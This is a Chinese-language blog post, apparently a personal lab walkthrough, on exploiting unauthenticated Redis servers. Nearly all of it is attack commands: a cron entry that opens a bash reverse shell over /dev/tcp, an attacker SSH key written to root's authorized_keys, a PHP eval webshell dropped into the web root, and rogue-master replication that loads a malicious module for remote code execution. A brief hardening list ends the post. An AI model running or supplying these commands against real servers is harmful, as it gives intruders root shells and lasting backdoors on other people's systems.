Redis利用总结
环境配置
开启远程连接
将下面这个已经绑定本地的配置注释掉就可
关闭保护模式
将配置文件中protected-mode 的值改为no
利用计划任务反弹shell
先连接到远程redis服务器
redis-cli -h 192.168.80.138
在redis中写入计划任务并保存到磁盘
set xxx "\n* * * * * bash -i >& /dev/tcp/192.168.80.138/6666 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
注意:不同的linux发行版本crontab文件的路径不同
- 在基于
Red Hat 的发行版系统
,如 CentOS,crontab 该文件的存储在/var/spool/cron/
目录下; - 在
Debian 、Ubuntu等系统
中,该文件存储在/var/spool/cron/crontabs/
目录下。
因为我的测试环境是redis-7.0.8,在执行config set dir /var/spool/cron/
操作时,发生错误
(error) ERR CONFIG SET failed (possibly related to argument 'dir') - can't set protected config
网上说是对目录没有写入权限,我将权限修改之后
成功获取shell
Redis 密钥登录ssh
在本地生成ssh密钥公钥
ssh-keygen -t rsa
于是生成了两个文件
id_rsa id_rsa.pub
为了防止编码问题,将公钥导出到文本文件中
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
将公钥写入redis中
cat key.txt | redis-cli -h 192.168.80.138 --pass 密码 -x set xxx
如果redis没有设置密码可以省略--pass
参数
成功写入缓存后,修改配置文件将缓存写入/root/.ssh
config set dir /root/.ssh
config set dbfilename authorized_keys
save
ssh远程登录
ssh -i id_rsa root@192.168.80.138
Redis 写入webshell
写入webshell比较简单,也是利用Redis的保存文件功能,将一句话写入网站目录中
redis-cli -h 192.168.80.138
set one "\n\n\n<?php @eval($_POST['1']);?>\n\n\n"
config set dir /var/www/html/
config set dbfilename shell.php
save
Redis 主从复制RCE
漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。在redis 4.x之后,通过外部拓展可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。
利用工具
python3 redis_rogue_server.py -rhost 192.168.80.138 -lhost 192.168.80.128
本地主从复制RCE
利用工具Awsome-Redis-Rogue-Server可以模拟一个redis服务器,通过被攻击主机的redis从模拟的redis服务器上复制数据
python3 redis_rogue_server.py
config set dir /tmp
config set dbfilename module.so
slaveof 192.168.80.128 15000
module load ./module.so
slaveof NO ONE # 可以将连接的redis主服务器断开连接
当然反弹shell后并不稳定,可以切换shell
python -c "import pty;pty.spawn("/bin/bash")"
Redis安全设置
- requirepass 设置redis密码
- bind 127.0.0.1 绑定内网ip地址
- protected-mode yes 开启保护模式(默认开启)
- 可以更改端口
- 为redis单独设置一个普通账号,使用该账号启动redis
Comments NOTHING